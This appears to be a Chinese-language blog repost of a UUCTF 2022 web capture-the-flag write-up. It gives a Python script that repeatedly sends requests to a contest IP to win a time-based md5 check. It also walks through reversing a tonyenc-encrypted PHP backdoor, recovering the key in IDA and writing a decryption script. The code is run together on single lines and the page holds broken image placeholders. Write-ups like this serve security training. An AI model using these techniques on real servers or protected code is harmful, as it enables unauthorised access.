2022UUCTF--WEB( 四 )


$sub=substr($time,-1);$md5[0]=substr($md5[0],$sub);$guessmd5=md5($time);我們使用腳本快速請求就可以在傳入md5[1]也是當前時間的md5值 兩者就相等
腳本
import hashlib,time,requestsdef guess_md5():while True:url = f"http://43.143.7.97:28179/?md5[0]=%0a0e215962017&md5[1]={str(hashlib.md5(str(int(time.time())).encode()).hexdigest())}"resp = requests.get(url=url)if "win" in resp.text:print(resp.text)returntime.sleep(1)guess_md5()

2022UUCTF--WEB

文章插圖
backdoor--tonyenc加密
這題我不太會哦 沒咋理解 不是很會使用IDA
hint:backdoor.php是一個后門文件
打開題目 說 布里茨 布里茨就是lol的機器人 看robots.txt
2022UUCTF--WEB

文章插圖

2022UUCTF--WEB

文章插圖
下載源碼,發現五個文件大致看下 robots.txtindex.php無信息
2022UUCTF--WEB

文章插圖
看看backdoor.php的代碼 , 根據提示 他是一個后門文件 那肯定是有連接后門的密碼的,但是亂碼又不知道
2022UUCTF--WEB

文章插圖
到了這里屬實是沒啥思路 看wp IDA逆向so文件
so文件是Linux下向當于Windows下的dll文件,Linux下的程序函數庫,即編譯好的可以供其他程序使用的代碼和數據
發現了tonyenc_encode函數
2022UUCTF--WEB

文章插圖
百度搜索這個是啥:
  • 一個簡潔、高性能、跨平臺的 PHP7 代碼加密擴展,當前版本為 0.2.2
  • 就是對PHP7的代碼進行加密的函數
百度搜一下找到git項目
GitHub - lihancong/tonyenc: 高性能、跨平臺的 PHP7 代碼加密擴展 (A high performance and cross-platform encrypt extension for PHP source code)
編譯前請在 core.h 中做如下修改:
/* 這里定制你的加密特征頭,不限長度,十六進制哦 */const u_char tonyenc_header[] = {0x66, 0x88, 0xff, 0x4f,0x68, 0x86, 0x00, 0x56,0x11, 0x16, 0x16, 0x18,};/* 這里指定密鑰,長一些更安全 */const u_char tonyenc_key[] = {0x9f, 0x49, 0x52, 0x00,0x58, 0x9f, 0xff, 0x21,0x3e, 0xfe, 0xea, 0xfa,0xa6, 0x33, 0xf3, 0xc6,};在IDA中找到對應的加密頭和key
2022UUCTF--WEB

文章插圖
根據github源碼寫解密py腳本
import base64header=[0x66, 0x88, 0xff, 0x4f,0x68, 0x86, 0x00, 0x56,0x11, 0x61, 0x16, 0x18,]key=[0x9f, 0x58, 0x54, 0x00,0x58, 0x9f, 0xff, 0x23,0x8e, 0xfe, 0xea, 0xfa,0xa6, 0x35, 0xf3, 0xc6]def decode(data,len):p =0for i in range(0,len):if (i & 1):p += key[p] + i;p %= 16;t = key[p];data[i] = ~data[i]^t;if data[i] < 0:data[i]=data[i]+256decode = "".join([chr(c) for c in data])return decodeencodefile=open('backdoor.php',"rb")base64_encodestr=base64.b64encode(encodefile.read())convert=[c for c in base64.b64decode(base64_encodestr)]del convert[0:len(header)]print(str(decode(convert,len(convert))))解密得到backdoor.php文件內容為
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-gEwEUhZ0-1667461598351)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103154452619.png)]
2022UUCTF--WEB

文章插圖

推薦閱讀